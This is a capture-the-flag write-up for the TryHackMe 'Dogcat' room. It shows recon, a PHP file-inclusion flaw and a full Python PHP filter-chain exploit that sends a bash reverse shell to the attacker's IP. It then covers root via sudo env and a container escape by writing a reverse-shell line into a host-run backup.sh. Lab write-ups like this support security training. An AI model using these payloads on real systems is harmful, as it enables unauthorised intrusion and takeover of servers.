Skip to Content
WriteupsTryHackMeDogcat

Dogcat - THM

This is the writeup for the TryHackMe medium difficulty room called Dogcat .

Task

From the task we can already see that we are going to deal with a PHP webserver.

Recon

CMD: nmap -sS -sV -p- $IP Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-14 17:05 CEST Nmap scan report for 10.10.112.67 Host is up (0.040s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.38 ((Debian))

The scan shows us a webserver running on port 80.

Website

Clicking either cat or dog reveals how the website works.

http://10.10.184.180/?view=dog

Let’s enumerate which values does the parameter view accept.

CMD: ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -u http://$IP/?view=FUZZ -c -mw 106 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://10.10.184.180/?view=FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response words: 106 ________________________________________________ category [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 43ms] publications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms] education [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms] catalog [Status: 200, Size: 757, Words: 106, Lines: 24, Duration: 43ms] categories [Status: 200, Size: 763, Words: 106, Lines: 24, Duration: 43ms] applications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 42ms] Education [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 42ms] uncategorized [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms] locations [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms] Publications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms] certification [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 44ms] location [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 42ms] collapse_tcat [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms] communications [Status: 200, Size: 771, Words: 106, Lines: 24, Duration: 42ms] syndication [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 43ms] application [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 43ms] offercategory [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms] authentication [Status: 200, Size: 771, Words: 106, Lines: 24, Duration: 43ms] communication [Status: 200, Size: 769, Words: 106, Lines: 24, Duration: 43ms] dedicated [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms] catalogue [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 43ms] Applications [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms] syndicate [Status: 200, Size: 761, Words: 106, Lines: 24, Duration: 42ms] locator [Status: 200, Size: 757, Words: 106, Lines: 24, Duration: 43ms] vacation [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 44ms] cats [Status: 200, Size: 751, Words: 106, Lines: 24, Duration: 43ms] scat [Status: 200, Size: 751, Words: 106, Lines: 24, Duration: 43ms] colocation [Status: 200, Size: 763, Words: 106, Lines: 24, Duration: 43ms] certificate [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 43ms] publication [Status: 200, Size: 765, Words: 106, Lines: 24, Duration: 42ms] Communications [Status: 200, Size: 771, Words: 106, Lines: 24, Duration: 44ms] blogcategory [Status: 200, Size: 767, Words: 106, Lines: 24, Duration: 43ms] telecommunications [Status: 200, Size: 779, Words: 106, Lines: 24, Duration: 43ms] catalogs [Status: 200, Size: 759, Words: 106, Lines: 24, Duration: 43ms]

In the responses we notice that all the words that include either the string cat or dog returns an error.

Error_Message

From the error message we can conclude that whatever we type into the parameter of view will be executed as the argument of the include() function and an additional .php extension will be added to the end of the string.

Exploitation

http://10.10.184.180/?view=php://filter/convert.base64-encode/resource=./cat/../index

Using this URL, we can get the base64 encoded content of the index.php file.

Index_Php

Decoding it gives us the original code.

index.php
<!DOCTYPE html> <html> <head> <title>dogcat</title> <link rel="stylesheet" type="text/css" href="/style.css" /> </head> <body> <h1>dogcat</h1> <i>a gallery of various dogs or cats</i> <div> <h2>What would you like to see?</h2> <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br /> <?php function containsStr($str, $substr) { return strpos($str, $substr) !== false; } $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php'; if (isset($_GET['view'])) { if (containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) { echo 'Here you go!'; include $_GET['view'] . $ext; } else { echo 'Sorry, only dogs or cats are allowed.'; } } ?> </div> </body> </html>

From the code we can clearly see how it works. We also notice that with the parameter ext we can change the extension of the opened file.
Abusing php filters we can get a shell on the target.

Getting the 1st flag

requester.py
import requests url = "http://10.10.112.67/" file_to_use = "cat.php" command = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.14.99.147/9998 0>&1'" base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4" conversions = { '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', '1': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF1002035D.EUC-KR|convert.iconv.MAC-CYRILLIC.T.61-8BIT|convert.iconv.1046.CSIBM864|convert.iconv.OSF1002035E.UCS-4BE|convert.iconv.EBCDIC-INT1.IBM943', '2': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO6937.OSF1002011C|convert.iconv.CP1146.EUCJP-OPEN|convert.iconv.IBM1157.UTF8', '3': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-7.CSISOLATIN3|convert.iconv.ISO-8859-9.CP905|convert.iconv.IBM1112.CSPC858MULTILINGUAL|convert.iconv.EBCDIC-CP-NL.ISO-10646', '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2', '5': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.RUSCII.IBM275|convert.iconv.CSEBCDICFR.CP857|convert.iconv.EBCDIC-CP-WT.ISO88591', '6': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-37.MACUK|convert.iconv.CSIBM297.ISO-IR-203', '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'a': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9066.CP1371|convert.iconv.KOI8-RU.OSF00010101|convert.iconv.EBCDIC-CP-FR.ISO-IR-156', 'b': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1399.UCS4', 'c': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.8859_9.OSF100201F4|convert.iconv.IBM1112.CP1004|convert.iconv.OSF00010007.CP285|convert.iconv.IBM-1141.OSF10020402', 'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'e': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.SHIFT_JISX0213|convert.iconv.IBM1164.UCS-4', 'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', 'g': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022CN.CP855|convert.iconv.CSISO49INIS.IBM1142', 'h': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.THAI8.OSF100201B5|convert.iconv.NS_4551-1.CP1160|convert.iconv.CP275.IBM297', 'i': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM943|convert.iconv.CUBA.CSIBM1140', 'j': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO27LATINGREEK1.UCS-4BE|convert.iconv.IBM857.OSF1002011C', 'k': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO88594.CP912|convert.iconv.ISO-IR-121.CP1122|convert.iconv.IBM420.UTF-32LE|convert.iconv.OSF100201B5.IBM-1399', 'l': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.MACIS|convert.iconv.CSIBM865.10646-1:1993|convert.iconv.ISO_69372.CSEBCDICATDEA', 'm': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.CSSHIFTJIS|convert.iconv.NO2.CSIBM1399', 'n': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.IBM862|convert.iconv.CP860.IBM-1399', 'o': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.CP861|convert.iconv.904.UTF-16|convert.iconv.IBM-1122.IBM1390', 'p': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1125.IBM1146|convert.iconv.IBM284.ISO_8859-16|convert.iconv.ISO-IR-143.IBM-933', 'q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NC_NC00-10:81.CSIBM863|convert.iconv.CP297.UTF16BE', 'r': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-86.ISO_8859-4:1988|convert.iconv.TURKISH8.CP1149', 's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 't': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.WINDOWS-1251.CP1364|convert.iconv.IBM880.IBM-1146|convert.iconv.IBM-935.CP037|convert.iconv.IBM500.L3|convert.iconv.CP282.TS-5881', 'u': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937:1992.ISO-IR-121|convert.iconv.ISO_8859-7:1987.ANSI_X3.110|convert.iconv.CSIBM1158.UTF16BE', 'v': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.HU.ISO_6937:1992|convert.iconv.CSIBM863.IBM284', 'w': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_6937-2:1983.857|convert.iconv.8859_3.EBCDIC-CP-FR', 'x': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1254.ISO-IR-226|convert.iconv.CSMACINTOSH.IBM-1149|convert.iconv.EBCDICESA.UCS4|convert.iconv.1026.UTF-32LE', 'y': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.EBCDIC-INT1.IBM-1399', 'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', 'A': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-111.IBM1130|convert.iconv.L1.ISO-IR-156', 'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C': 'convert.iconv.UTF8.CSISO2022KR', 'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', 'E': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.LATIN7.MACINTOSH|convert.iconv.CSN_369103.CSIBM1388', 'F': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSIBM9448.ISO-IR-103|convert.iconv.ISO-IR-199.T.61|convert.iconv.IEC_P27-1.CP937', 'G': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO_8859-3:1988.CP1142|convert.iconv.CSIBM16804.CSIBM1388', 'H': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.GB_198880.EUCJP-OPEN|convert.iconv.CP5347.CP1144', 'I': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO8859-6.DS2089|convert.iconv.OSF0004000A.CP852|convert.iconv.HPROMAN8.T.618BIT|convert.iconv.862.CSIBM1143', 'J': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.US.ISO-8859-13|convert.iconv.CP9066.CSIBM285', 'K': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1097.UTF-16BE', 'L': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ECMACYRILLIC.IBM256|convert.iconv.GEORGIAN-ACADEMY.10646-1:1993|convert.iconv.IBM-1122.IBM920', 'M': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.SE2.ISO885913|convert.iconv.866NAV.ISO2022JP2|convert.iconv.CP857.CP930', 'N': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM9066.UTF7|convert.iconv.MIK.CSIBM16804', 'O': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO-IR-197.CSIBM275|convert.iconv.IBM1112.UTF-16BE|convert.iconv.ISO_8859-3:1988.CP500', 'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', 'Q': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.NO.CP275|convert.iconv.EBCDIC-GREEK.CP936|convert.iconv.CP922.CP1255|convert.iconv.MAC-IS.EBCDIC-CP-IT', 'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'S': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CP1154.UCS4', 'T': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.IBM1163.CP1388|convert.iconv.OSF10020366.MS-MAC-CYRILLIC|convert.iconv.ISO-IR-25.ISO-IR-85|convert.iconv.GREEK.IBM-1144', 'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', 'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', 'X': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.OSF10020388.IBM-935|convert.iconv.CP280.WINDOWS-1252|convert.iconv.CP284.IBM256|convert.iconv.CP284.LATIN1', 'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'Z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.CSISO90.CSEBCDICFISE', '+': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ANSI_X3.4-1986.CP857|convert.iconv.OSF10020360.ISO885913|convert.iconv.EUCCN.UTF7|convert.iconv.GREEK7-OLD.UCS4', '=': '' } filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" for c in base64_payload[::-1]: filters += conversions[c] + "|" filters += "convert.base64-decode|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" filters += "convert.base64-decode" final_payload = f"php://filter/{filters}/resource=./cat/../{file_to_use}" r = requests.get(url, params={ "view": final_payload, "ext": "", "0": command, }) print(r.text)

You can see how this exploit works here .

CMD: nc -lvnp 9998

Using the exploit and starting a listener we get a shell.

Flag1

The first FLAG is found in the var/www/html directory.

Getting the 2nd flag

Flag2

The second FLAG is in the var/www directory.
(I only realized here that we should have assumed that there is a flag.php file in the web root.)

Getting the 3rd flag

CMD: sudo -l Matching Defaults entries for www-data on b13221eddbc6: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on b13221eddbc6: (root) NOPASSWD: /usr/bin/env

Running the above command we notice that we are able to run env as root.
The website GTFOBins  shows how we can get a shell as root.

CMD: sudo /usr/bin/env /bin/sh

Flag3

The third FLAG is in the /root directory.

Getting the 4th flag

If we explore the target we realize that we are in a docker container.

CMD: df -aTh Filesystem Type Size Used Avail Use% Mounted on overlay overlay 9.8G 5.3G 4.0G 58% / proc proc 0 0 0 - /proc tmpfs tmpfs 64M 0 64M 0% /dev devpts devpts 0 0 0 - /dev/pts sysfs sysfs 0 0 0 - /sys tmpfs tmpfs 481M 0 481M 0% /sys/fs/cgroup cgroup cgroup 0 0 0 - /sys/fs/cgroup/systemd cgroup cgroup 0 0 0 - /sys/fs/cgroup/net_cls,net_prio cgroup cgroup 0 0 0 - /sys/fs/cgroup/cpu,cpuacct cgroup cgroup 0 0 0 - /sys/fs/cgroup/devices cgroup cgroup 0 0 0 - /sys/fs/cgroup/cpuset cgroup cgroup 0 0 0 - /sys/fs/cgroup/pids cgroup cgroup 0 0 0 - /sys/fs/cgroup/freezer cgroup cgroup 0 0 0 - /sys/fs/cgroup/rdma cgroup cgroup 0 0 0 - /sys/fs/cgroup/perf_event cgroup cgroup 0 0 0 - /sys/fs/cgroup/blkio cgroup cgroup 0 0 0 - /sys/fs/cgroup/memory cgroup cgroup 0 0 0 - /sys/fs/cgroup/hugetlb mqueue mqueue 0 0 0 - /dev/mqueue shm tmpfs 64M 0 64M 0% /dev/shm /dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /opt/backups /dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /etc/resolv.conf /dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /etc/hostname /dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /etc/hosts /dev/nvme1n1p2 ext4 9.8G 5.3G 4.0G 58% /var/www/html proc proc 0 0 0 - /proc/bus proc proc 0 0 0 - /proc/fs proc proc 0 0 0 - /proc/irq proc proc 0 0 0 - /proc/sys proc proc 0 0 0 - /proc/sysrq-trigger tmpfs tmpfs 481M 0 481M 0% /proc/acpi tmpfs tmpfs 64M 0 64M 0% /proc/kcore tmpfs tmpfs 64M 0 64M 0% /proc/keys tmpfs tmpfs 64M 0 64M 0% /proc/timer_list tmpfs tmpfs 64M 0 64M 0% /proc/sched_debug tmpfs tmpfs 481M 0 481M 0% /proc/scsi tmpfs tmpfs 481M 0 481M 0% /sys/firmware

Looking at the mounts we see that the /opt/backups directory is shared between the docker container and the host machine.

CMD: ls -la total 2892 drwxr-xr-x 2 root root 4096 Apr 8 2020 . drwxr-xr-x 1 root root 4096 Oct 14 13:11 .. -rwxr--r-- 1 root root 69 Mar 10 2020 backup.sh -rw-r--r-- 1 root root 2949120 Oct 14 14:43 backup.tar

The backup.sh file is executed on the host machine every now and than, and we are able to modify its content to execute a reverse shell.

CMD: echo "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.14.99.147/10000 0>&1'" > backup.sh
CMD: nc -lvnp 10000

After stating a listener on the attacker machine and waiting for a bit, we receive a shell.

Flag4

The 4th FLAG is in the /root directory of the host machine.

Last updated on